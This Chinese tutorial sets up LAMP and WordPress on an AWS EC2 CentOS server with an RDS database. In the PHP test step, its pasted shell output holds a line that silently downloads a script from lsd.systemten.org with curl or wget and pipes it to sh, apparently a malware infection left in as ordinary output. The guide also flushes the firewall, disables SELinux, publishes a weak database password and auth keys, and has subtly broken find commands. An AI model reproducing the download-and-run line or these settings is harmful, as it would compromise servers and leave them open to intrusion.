1.搭建LAMP环境
(1)升级系统内核
连接到已创建的EC2实例。
为确保所有软件包都处于最新状态,需要对实例执行内核升级,此过程可能需要几分钟的时间,但能确保EC2系统拥有最新的安全更新和缺陷修复。
[root@WordPress ~]# yum upgrade -y
查看Amazon Linux的版本。
[root@WordPress ~]# cat /etc/redhat-release
CentOS Linux release 7.7.1908 (Core)
(2)配置防火墙规则和SELinux
清除防火墙规则。
[root@wordpress ~]# iptables -t filter -F
[root@wordpress ~]# iptables -t filter -X
永久关闭SELinux。
[root@wordpress ~]# sed -i 's/SELINUX=enforcing/SELINUX=disabled/g' /etc/selinux/config
[root@wordpress ~]# reboot
(3)安装环境
当实例处于最新状态后,便可以安装Apache Web服务器、MariaDB和PHP软件包。
[root@WordPress ~]# yum install -y httpd mariadb-server php php-mysql
可以使用以下命令查看这些程序包的当前版本。
# yum info package_name
(4)启动Apache Web服务器
启动Apache Web服务器并设置开机自启。
[root@WordPress ~]# systemctl start httpd
[root@WordPress ~]# systemctl enable httpd
(5)测试Apache服务器
在Web浏览器中,输入实例的公有IP地址。如果/var/www/html中没有内容,则会看到Apache测试页面
如果未能看到Apache测试页面,请检查当前EC2使用的安全组是否包含允许HTTP(端口80)流量的规则。
Apache httpd提供的文件保存在Apache文档根目录/var/www/html中,默认情况下归根用户所有。
(6)测试LAMP
在Apache文档根目录中创建一个PHP文件。
[root@WordPress ~]# echo "<?php phpinfo(); ?>" > /var/www/html/phpinfo.php
[1]+ Done ( curl -fsSL -m180 lsd.systemten.org || wget -q -T180 -O- lsd.systemten.org ) | sh > /dev/null 2>&1
在Web浏览器中,输入新建文件的URL,
能正常打开相应的PHP信息页面,说明PHP已经正常启动;如果在页面中能找到mysql、mysqli的信息内容,说明对PHP平台能正常访问mysql和mysqli接口
删除phpinfo.php文件。
[root@WordPress ~]# rm -rf /var/www/html/phpinfo.php
2.配置数据库
在EC2上测试MariaDB的连通性。
[root@wordpress ~]# systemctl start mariadb
[root@wordpress ~]# systemctl enable mariadb
Created symlink from /etc/systemd/system/multi-user.target.wants/mariadb.service to /usr/lib/systemd/system/mariadb.service.
(1)部署WordPress
将提供的压缩包wordpress-5.0.2-zh_CN.tar.gz上传至EC2实例/root目录并解压。
[root@wordpress ~]# tar -zxvf wordpress-5.0.2-zh_CN.tar.gz
复制解压后的wordpress目录到/var/www/html目录下。
[root@wordpress ~]# cp -rf wordpress /var/www/html/
(2)配置WordPress
在浏览器输入http://EC2_IP/wordpress,即可访问WordPress欢迎页面
(3)创建数据库和账号
为了让WordPress正常运行,在数据库中创建数据库以及相应的账号
(4)创建PHP文件
返回网页,继续完成WordPress的初始化操作
在WordPress安装界面会提示无法写入wp-config.php文件,需要手动创建
手动创建wp-config.php文件。
[root@wordpress ~]# vi /var/www/html/wordpress/wp-config.php
<?php
/**
* WordPress基础配置文件。
*
* 这个文件被安装程序用于自动生成wp-config.php配置文件,
* 可以不使用网站生成,需要手动复制这个文件,
* 并重命名为“wp-config.php”,然后填入相关信息。
*
* 本文件包含以下配置选项:
*
* * MySQL设置
* * 密钥
* * 数据库表名前缀
* * ABSPATH
*
* @link https://codex.wordpress.org/zh-cn:%E7%BC%96%E8%BE%91_wp-config.php
*
* @package WordPress
*/
// ** MySQL:设置的具体信息来自正在使用的主机 ** //
/** WordPress数据库的名称 */
define('DB_NAME', 'wordpress');
/** MySQL数据库用户名 */
define('DB_USER', 'guo');
/** MySQL数据库密码 */
define('DB_PASSWORD', '00000000');
/** MySQL主机 */
define('DB_HOST', 'wordpress.cl6vzpozqrqu.rds.cn-northwest-1.amazonaws.com.cn');
/** 创建数据表时默认的文字编码 */
define('DB_CHARSET', 'utf8mb4');
/** 数据库整理类型。如不确定请勿更改 */
define('DB_COLLATE', '');
/**#@+
* 身份认证密钥。
*
* 修改为任意独一无二的字串!
* 或者直接访问{@link https://api.wordpress.org/secret-key/1.1/salt/ WordPress.org密钥生成服务}
* 任何修改都会导致所有cookies失效,所有用户将必须重新登录。
*
* @since 2.6.0
*/
define('AUTH_KEY', 'o96P/{uub3_/m#VY3,KU:c7C:eT,*},T3tU2!Z@N<d[9/K<SdKuw-QJ8!|@+~*oN');
define('SECURE_AUTH_KEY', '1akka,TV:bg>.=qA+y6T{,rVZn)@ wifG3FH4Y[=ZTQ)I8`p,m&]}@<f-,^s@ck{');
define('LOGGED_IN_KEY', '+9dE2i$2G_mCm~[@M^j`/)VcI[F+`js %ud>zr)h+<-hr^<0EI~+)kJcBM6vU~u{');
define('NONCE_KEY', 'I<kv;2[QpC!qw.:f}K%^97. i5PrL~xOE]ieF-#bZtL*jSzB7JxCR^[WEZ,_sn6/');
define('AUTH_SALT', 'xjFz0z>,Ia<E`B!TU0-.QPs7:AqUJ;c3PTNR5WJl5|g20<_&2<(S-(QGz?!Z[}+Q');
define('SECURE_AUTH_SALT', 'yf*?I>#jB9=E8^+:7v<WEkEBPtMW&==yU-,xZdc+TF%EWt{~zxP&VN2w,h^-5Hep');
define('LOGGED_IN_SALT', 'T.f}uR24d4U= EQUo}AnhT;.mvsN.;N(?=3kW)O^D1|R!10{u<t2*pJjj>]J9S&x');
define('NONCE_SALT', 'e32+aG!7F0 LNs|jIm&Od<#~Z9@[kHCAkKsHZ@1<mqX5roA;n+OQFUy=b)xu5l4T');
/**#@-*/
/**
* WordPress数据表前缀。
*
* 如果需要在同一数据库内安装多个WordPress,请为每个WordPress设置不同的
* 数据表前缀。前缀名只能为数字、字母加下划线。
*/
$table_prefix = 'wp_';
/**
* 开发者专用:WordPress调试模式。
*
* 将这个值改为true,WordPress将显示所有用于开发的提示。
* 强烈建议插件开发者在开发环境中启用WP_DEBUG。
*
*/
define('WP_DEBUG', false);
/* 好了!请不要再继续编辑。请保存本文件。使用愉快! */
/** WordPress目录的绝对路径。 */
if ( !defined('ABSPATH') )
define('ABSPATH', dirname(__FILE__) . '/');
/** 设置WordPress变量和包含文件。 */
require_once(ABSPATH . 'wp-settings.php');
(5)允许WordPress使用permalink
WordPress permalink需要使用Apache.htaccess文件才能正常工作,但默认情况下这些文件在Amazon Linux上处于禁用状态。
修改httpd.conf文件中以下内容。
[root@wordpress ~]# vi /etc/httpd/conf/httpd.conf
<Directory "/var/www/html">
#
# Possible values for the Options directive are "None", "All",
# or any combination of:
# Indexes Includes FollowSymLinks SymLinksifOwnerMatch ExecCGI MultiViews
#
# Note that "MultiViews" must be named *explicitly* --- "Options All"
# doesn't give it to you.
#
# The Options directive is both complicated and important. Please see
# http://httpd.apache.org/docs/2.4/mod/core.html#options
# for more information.
#
Options Indexes FollowSymLinks
#
# AllowOverride controls what directives may be placed in .htaccess files.
# It can be "All", "None", or any combination of the keywords:
# Options FileInfo AuthConfig Limit
#
AllowOverride All #修改此处
#
# Controls who can get stuff from this server.
#
Require all granted
</Directory>
此文件中有多行包含“AllowOverride”;请确保更改<Directory "/var/www/html">部分中的行。
(6)修复 Apache Web 服务器的文件权限
WordPress中的某些可用功能要求具有对Apache文档根目录的写入权限,将/var/www及其内容的文件所有权授予apache用户。
[root@wordpress ~]# chown -R apache /var/www
将/var/www及其内容的组所有权授予apache组。
[root@wordpress ~]# chgrp -R apache /var/www
更改/var/www及其子目录的目录权限,添加组写入权限并设置未来子目录上的组ID。
[root@wordpress ~]# chmod 2775 /var/www
[root@wordpress ~]# find /var/www -type d -exec sudo chmod 2775 {} ;
递归地更改/var/www及其子目录的文件权限,以添加组写入权限。
[root@wordpress ~]# find /var/www -type f -exec sudo chmod 0664 {} ;
重启Apache Web服务器,让新组和权限生效。
[root@wordpress ~]# systemctl restart httpd
(7)登录WordPress
在浏览器上再次访问WordPress页面,进入WordPress登录信息配置界面,如图6-5-13所示。根据需求,设置相应的站点名称、用户名和密码。
单击 “安装WordPress”按钮,开始WordPress的安装
进入WordPress登录界面,输入之前设置的用户名和密码进行登录。
认证成功后,进入WordPress仪表盘界面